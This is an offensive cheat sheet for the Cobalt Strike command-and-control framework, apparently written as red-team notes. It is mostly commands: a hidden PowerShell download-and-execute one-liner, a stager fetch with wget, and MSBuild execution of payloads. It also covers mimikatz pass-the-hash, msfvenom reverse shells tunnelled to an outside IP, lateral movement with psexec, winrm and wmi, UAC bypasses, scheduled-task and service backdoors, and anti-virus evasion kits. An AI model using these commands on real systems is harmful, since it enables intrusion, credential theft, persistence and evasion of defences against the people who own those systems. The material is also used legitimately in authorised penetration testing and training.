Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
$ sudo apt-get update $ sudo apt-get install openjdk-11-jdk $ sudo apt install proxychains socat $ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64 $ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile] $ ./cobaltstrike $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
- Malleable C2
- Powershell and .NET
- Lateral Movement
- VPN & Pivots
- Beacon Object Files
- NTLM Relaying via Cobalt Strike
- New Listener > HTTP Host Header
- Choose a domain in "Finance & Healthcare" sector
* Use default self-signed HTTPS certificate
* Use default port (50050)
* Use 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload :
wget -U "Internet Explorer" http://127.0.0.1/vl6D
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging
set hosts_stage to
false in Malleable C2
* Use Malleable Profile to taylor your attack to specific actors
The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
- The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
- The trial has a Customer ID value of 0.
- Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
- Edit the Zone File for the domain
- Create an A record for Cobalt Strike system
- Create an NS record that points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
- nslookup jibberish.beacon polling.campaigns.domain.com
- nslookup jibberish.beacon campaigns.domain.com
Example of DNS on Digital Ocean:
1. host: campaigns.domain.com
2. beacon: polling.campaigns.domain.com
3. Interact with a beacon, and
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
|2||File Not Found||There is no beacon for you to link to|
|5||Access is denied||Invalid credentials or you don't have permission|
|53||Bad Netpath||You have no trust relationship with the target system. It may or may not be a beacon there.|
# deploy a beacon beacon> help ssh Use: ssh [target:port] [user] [pass] Spawn an SSH client and attempt to login to the specified target beacon> help ssh-key Use: ssh [target:port] [user] [/path/to/key.pem] Spawn an SSH client and attempt to login to the specified target # beacon's commands upload Upload a file download Download a file socks Start SOCKS4a server to relay traffic sudo Run a command via sudo rportfwd Setup a reverse port forward shell Execute a command via the shell
- Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
- Set LHOST and LPORT to the beacon
- Set DisablePayloadHandler to True
- Set PrependMigrate to True
- exploit -j
* Attacks > Packages > Payload Generator * Attacks > Packages > Scripted Web Delivery (S) $ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor $ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml $ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
List of Malleable Profiles hosted on Github * Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles * Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2 * Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles * SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
Example of syntax
Check a profile with
* A result of 0 is returned if c2lint completes with no errors
* A result of 1 is returned if c2lint completes with only warnings
* A result of 2 is returned if c2lint completes with only errors
* A result of 3 is returned if c2lint completes with both errors and warning
# List the file on the specified directory beacon > ls <C:\Path> # Change into the specified working directory beacon > cd [directory] # Delete a file\folder beacon > rm [file\folder] # File copy beacon > cp [src] [dest] # Download a file from the path on the Beacon host beacon > download [C:\filePath] # Lists downloads in progress beacon > downloads # Cancel a download currently in progress beacon > cancel [*file*] # Upload a file from the attacker to the current Beacon host beacon > upload [/path/to/file]
Powershell and .NET
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon beacon > powershell-import [/path/to/script.ps1] # Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned. beacon > powershell [commandlet][arguments] # Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto beacon > powerpick [commandlet] [argument] # Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs beacon > psinject [pid][arch] [commandlet] [arguments]
.NET remote execution
Run a local .NET executable as a Beacon post-exploitation job.
Require: * Binaries compiled with the "Any CPU" configuration.
beacon > execute-assembly [/path/to/script.exe] [arguments] beacon > execute-assembly /home/audit/Rubeus.exe [*] Tasked beacon to run .NET program: Rubeus.exe [+] host called home, sent: 318507 bytes [+] received output: ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2
OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
- portscan: Performs a portscan on a specific target.
- runas: A wrapper of runas.exe, using credentials you can run a command as another user.
- pth: By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \ This module needs Administrator privileges.
- steal_token: Steal a token from a specified process.
- make_token: By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
- jump: Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \ The jump module will use the current delegation/impersonation token to authenticate on the remote target. \ We can combine the jump module with the make_token or pth module for a quick "jump" to another target on the network.
- remote-exec: Execute a command on a remote target using psexec, winrm or wmi. \ The remote-exec module will use the current delegation/impersonation token to authenticate on the remote target.
- ssh/ssh-key: Authenticate using ssh with password or private key. Works for both linux and windows hosts.
All the commands launch powershell.exe
Beacon Remote Exploits ====================== jump [module] [target] [listener] psexec x86 Use a service to run a Service EXE artifact psexec64 x64 Use a service to run a Service EXE artifact psexec_psh x86 Use a service to run a PowerShell one-liner winrm x86 Run a PowerShell script via WinRM winrm64 x64 Run a PowerShell script via WinRM Beacon Remote Execute Methods ============================= remote-exec [module] [target] [command] Methods Description ------- ----------- psexec Remote execute via Service Control Manager winrm Remote execute via WinRM (PowerShell) wmi Remote execute via WMI (PowerShell)
Opsec safe Pass-the-Hash:
mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"
Assume Control of Artifact
linkto connect to SMB Beacon
connectto connect to TCP Beacon
VPN & Pivots
Covert VPN doesn't work with W10, and requires Administrator access to deploy.
Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage. beacon > socks [PORT] beacon > socks [port] beacon > socks [port] [socks4] beacon > socks [port] [socks5] beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging] # Proxy browser traffic through a specified Internet Explorer process. beacon > browserpivot [pid] [x86|x64] # Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port. beacon > rportfwd [bind port] [forward host] [forward port] # spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin beacon> spunnel x64 188.8.131.52 4444 C:\Payloads\msf.bin # spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller # then you can handle the connect back on your MSF multi handler beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
- Cobalt Strike Community Kit - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
beacon> runasadmin Beacon Command Elevators ======================== Exploit Description ------- ----------- ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113) ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701) ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051) svc-exe Get SYSTEM via an executable run as a service uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup) uac-token-duplication Bypass UAC with Token Duplication
# List persistences SharPersist -t schtaskbackdoor -m list SharPersist -t startupfolder -m list SharPersist -t schtask -m list # Add a persistence SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add SharPersist -t schtaskbackdoor -n "Something Cool" -m remove SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add SharPersist -t service -n "Some Service" -m remove SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly SharPersist -t schtask -n "Some Task" -m remove
The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
- Download the artifact kit :
Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)
- Install the dependencies :
sudo apt-get install mingw-w64
- Edit the Artifact code
- Change pipename strings
patch.exe, e.g: HeapAlloc
- Change Import
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna
- Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 184.108.40.20610724)
- Load the mimikatz.cna aggressor script
- Use mimikatz functions as normal
Sleep Mask Kit
The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
Use the included
build.bat script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
Thread Stack Spoofer
An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option
artifactkit_stack_spoof in the config file
Beacon Object Files
A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
NTLM Relaying via Cobalt Strike
- Red Team Ops with Cobalt Strike (1 of 9): Operations
- Red Team Ops with Cobalt Strike (2 of 9): Infrastructure
- Red Team Ops with Cobalt Strike (3 of 9): C2
- Red Team Ops with Cobalt Strike (4 of 9): Weaponization
- Red Team Ops with Cobalt Strike (5 of 9): Initial Access
- Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation
- Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation
- Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement
- Red Team Ops with Cobalt Strike (9 of 9): Pivoting
- A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018
- Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019
- TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018
- Cobalt Strike - DNS Beacon
- How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017
- NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse
- Cobalt Strike - User Guide
- Cobalt Strike 4.6 - User Guide PDF